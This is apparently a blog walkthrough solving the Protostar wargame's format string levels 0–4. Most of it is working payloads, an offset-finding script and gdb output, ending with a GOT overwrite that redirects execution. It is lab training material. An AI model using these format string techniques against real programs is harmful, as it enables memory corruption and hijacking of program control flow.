forelsec

Protostar Solutions - Format String

Wow it’s been awhile since I’ve taken a look at this box. The last time I was here, I was working on the format string levels. These levels have been done and documented to death, but hey, they’re fun. So, without further delay, lets begin.

I’ll be assuming you know what a format string is, and if not, you can follow allowing with this great paper.

Format String Level 00

This level really just points out that vulnerabilities exist in sprintf, and isn’t too different from any of the easier stack levels. All we’ve got to do is overwrite an integer on the stack with 0xdeadbeef. A 64 byte buffer is allocated, our target integer is assigned to 0 (after the allocated buffer), and snprintf invoked. So 64 bytes of junk followed by 4 bytes should give us…

1
2
3
4
5
6
7
8
9
10
11
12
(gdb) r $(python -c "print 'A'*64 + '\xef\xbe\xad\xde'")
Starting program: /opt/protostar/bin/format0 $(python -c "print 'A'*64 + '\xef\xbe\xad\xde'")

Breakpoint 1, vuln (string=0xbffff95f 'A' <repeats 64 times>, "ᆳ", <incomplete sequence \336>) at format0/format0.c:15
15  in format0/format0.c
(gdb) x/wx &target
0xbffff75c: 0xdeadbeef
(gdb) x/wx &target-4
0xbffff74c: 0x41414141
(gdb) c
Continuing.
you have hit the target correctly :)

Format String Level 01

Here’s the first real format string vulnerability. In it, printf is called without formatting specifiers, leading to a real format string vulnerability. Our objective, like before, is to simply overwrite a static target variable, target, with anything. Due to the variable not being on the local stack frame, we need to overwrite a specific address. Let’s first try and find that variable:

1
2
3
user@protostar:/opt/protostar/bin$ objdump -t format1 | grep target
08049638 g     O .bss   00000004              target
user@protostar:/opt/protostar/bin$ 

Note that ASLR/PIE is disabled on the system, so we can safely use this address as our writable target. Now in order to actually write something to this address, we need to traverse the stack until we reach our controlled data, then use the %n to write the number of bytes written into a pointer found on the stack, our data. I wrote a little script to help me find the offset:

1
2
3
4
5
6
7
8
9
10
11
12
13
import sys
from commands import getoutput

run = "/opt/protostar/bin/format1 $(perl -e 'print \"AAAAAAAA\" . \"%08x.\"x{0}' . \"%x\")"

print '[!] Searching for offset..'
for idx in range(1, 15000):
    tmp = getoutput(run.format(idx))
    tmps = tmp.split('.')[:-1]
    if '41414141' in tmps[len(tmps)-1]:
        print '[!] Format found at offset %d' % idx 
        print '[!] String: %s' % run.format(idx)
        break

We accommodate for misaligned addresses by supplying 8 bytes and searching for 4. When this runs, we get our offset:

1
2
3
4
5
user@protostar:/opt/protostar/bin$ python ~/test.py
[!] Searching for offset..
[!] Format found at offset 133
[!] String: /opt/protostar/bin/format1 $(perl -e 'print "AAAAAAAA" . "%08x."x133' . "%x")
user@protostar:/opt/protostar/bin$ 

All we need to do is get the alignment right, and we’ve got our address:

1
2
3
4
5
6
7
8
9
10
11
(gdb) r $(perl -e 'print "\x38\x96\x04\x08BAAAA" . "%08x."x132 . "%n"')
[snip]
Breakpoint 1, vuln (
                    string=0xbffff704 "8\226\004\bBAAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%"...) at format1/format1.c:12
12  format1/format1.c: No such file or directory.
    in format1/format1.c
    (gdb) x/wx &target
    0x8049638 <target>: 0x000004ad
    (gdb) c
    Continuing.
    1.0000000f.bffff6db.00000000.00000000.d2000000.3398faa1.0022db30.da5bc6eb.6944a17d.00363836.00000000.00000000.706f2f00.72702f74.736f746f.2f726174.2f6e6962.6d726f66.00317461.you have modified the target :)

Note we replace the %x at the end with a %n, thus allowing us to write bytes into the specified address.

Format String Level 02

The learning curve after level 1 is much lower for the remaining two levels. This level is identical to 1, except we need to actually write a specific value (0x64). Let’s begin by first finding our target address:

1
2
$ objdump -t format2 | grep target
080496e4 g     O .bss   00000004              target

Modifying my script a bit (since input is now via fgets):

1
2
3
4
$ python /home/user/test.py 
[!] Searching for offset..
[!] Format found at offset 4
[!] String: echo $(perl -e 'print "AAAAAAAA" . "%08x."x4' . "%x") | /opt/protostar/bin/format2

Not so far up the stack this time. Lets plug in our address:

1
2
3
$ echo $(perl -e 'print "\xe4\x96\x04\x08" . "%x."x3 . "%n"') | /opt/protostar/bin/format2
��200.b7fd8420.bffff604.
target is 26 :(

Not quite there. Recall that we’re writing the number of bytes printed; so we just need to jack up our output formatter, and…

1
2
3
$ echo $(perl -e 'print "\xe4\x96\x04\x08" . "%19x."x3 . "%n"') | /opt/protostar/bin/format2
��                200.           b7fd8420.           bffff604.
you have modified the target :)

Format String Level 03

This level requires us to more accurately write specific data to an address; lets again find our target:

1
2
$ objdump -t format3 | grep target
080496f4 g     O .bss   00000004              target

And again running our script:

1
2
3
4
$ python /home/user/test.py 
[!] Searching for offset..
[!] Format found at offset 12
[!] String: echo $(perl -e 'print "AAAAAAAA" . "%08x."x12' . "%x") | /opt/protostar/bin/format3

And if we test this out:

1
2
3
$ python -c 'print "\xf4\x96\x04\x08" + "%x."*11 + "%n"' | /opt/protostar/bin/format3
��0.bffff5c0.b7fd7ff4.0.0.bffff7c8.804849d.bffff5c0.200.b7fd8420.bffff604.
target is 0000004c :(

So we’ve validated we can modify the target, but we need to modify all 4 bytes. At this point, I discovered that we could simply continue to add on data to the value, pop out, and write another byte. This, however, was tedious, and filled up my command line quickly. It was at this point that I switched to using direct parameter access symbols. Essentially, this allows us to directly access a variable from the stack, without having to continually pop values from it. For example, if we wanted to access the 11th parameter, we would simply use %11$x. If we return briefly to format1, we can see this in action below:

1
2
$ ./format1 $(perl -e 'print "AAAAAA"')'_%128$x';printf "\n"
AAAAAA_41414141

This is a much cleaner way of reading values off the stack. Testing this on level 3:

1
2
3
$ python -c 'print "AAAABBBBCCCCDDDD" + "_%12$x_%13$x_%14$x_%15$x"' | ./format3
AAAABBBBCCCCDDDD_41414141_42424242_43434343_44444444
target is 00000000 :(

And to verify we’re there, we can substitute the characters for addresses, and replace the $x with a $n to write into those addresses:

1
2
3
$ python -c 'print "\xf4\x96\x04\x08\xf5\x96\x04\x08\xf6\x96\x04\x08\xf7\x96\x04\x08" + "%12$n%13$n%14$n%15$n"' | ./format3
��������
target is 10101010 :(

Figuring out the correct padding values requires some simple math:

1
2
3
first byte = 0x44 - 0x10
second     = 0x55 - 0x44
third      = 0x02 - 0x55

Note we’ve left off the fourth byte, we’ll return to this in a second. Simple math tells us that the first byte padding value should be 52:

1
2
3
$ python -c 'print "\xf4\x96\x04\x08\xf5\x96\x04\x08\xf6\x96\x04\x08\xf7\x96\x04\x08" + "%52u%12$n%13$x%14$x%15$x"' | ./format3
��������                                                   080496f580496f680496f7
target is 00000044 :(

The second byte is 17, and the third byte is -83, but if we wrap that we get 173 (0x02 – 0x55 & 0xff). This results in:

1
2
3
$ python -c 'print "\xf4\x96\x04\x08\xf5\x96\x04\x08\xf6\x96\x04\x08\xf7\x96\x04\x08" + "%52u%12$n%17u%13$n%173u%14$n%15$x"' | ./format3
��������                                                   0       3221222896                                                                                                                                                                   308684389280496f7
you have modified the target :)

As noted earlier, we don’t actually have to write anything to the final byte, as it is set due to a previous overflow.

Format String Level 04

The final level in the format string section, this one requires us to redirect execution to another method, hello. This probably means we’ll need to overwrite a value in the GOT, or the Global Offset Table, which acts as a trampoline for dynamic libraries. Let’s start by finding the hello function that we want to redirect execution flow to:

1
2
$ objdump -M intel -t format4 | grep hello
080484b4 g     F .text  0000001e              hello

And running our script:

1
2
3
4
$ python /home/user/test.py 
[!] Searching for offset..
[!] Format found at offset 4
[!] String: echo $(perl -e 'print "AAAAAAAA" . "%08x."x4' . "%x") | /opt/protostar/bin/format4

If we take a look at the code, we see a call to exit right after the vulnerable printf. This is the entry we want to overwrite. We now need that address:

1
2
3
$ objdump --dynamic-reloc format4 | grep exit
08049718 R_386_JUMP_SLOT   _exit
08049724 R_386_JUMP_SLOT   exit

So we need to overwrite 0x08049724 with 0x080484b4. Let’s give this a shot:

1
2
3
4
5
6
7
8
9
10
user@protostar:/opt/protostar/bin$ python -c 'print "\x24\x97\x04\x08\x25\x97\x04\x08\x26\x97\x04\x08\x27\x97\x04\x08" + "%4$n%5$n%6$n%7$n"' > /tmp/input
user@protostar:/opt/protostar/bin$ gdb -q ./format4
Reading symbols from /opt/protostar/bin/format4...done.
(gdb) r < /tmp/input
Starting program: /opt/protostar/bin/format4 < /tmp/input
$�%�&�'�

Program received signal SIGSEGV, Segmentation fault.
0x10101010 in ?? ()
(gdb) 

We’ve verified we’re at the right location and can control EIP; notice, however, that the two addresses only differ by 2 bytes. If we use the $hn, or a short 2 byte write, we can get by with less code:

1
2
3
4
5
6
7
8
9
user@protostar:/opt/protostar/bin$ python -c 'print "\x24\x97\x04\x08" + "%4$hn"' > /tmp/input
user@protostar:/opt/protostar/bin$ gdb -q ./format4
Reading symbols from /opt/protostar/bin/format4...done.
(gdb) r < /tmp/input
Starting program: /opt/protostar/bin/format4 < /tmp/input
$�

Program received signal SIGSEGV, Segmentation fault.
0x08040004 in ?? ()

More simple math, p/d 0x84b4 - 0x0004, gives us 33968.

1
2
3
$ python -c 'print "\x24\x97\x04\x08" + "%33968u%4$hn"' | ./format4
[snip whitespace]
code execution redirected! you win

And that’s it! Next up, heap exploitation.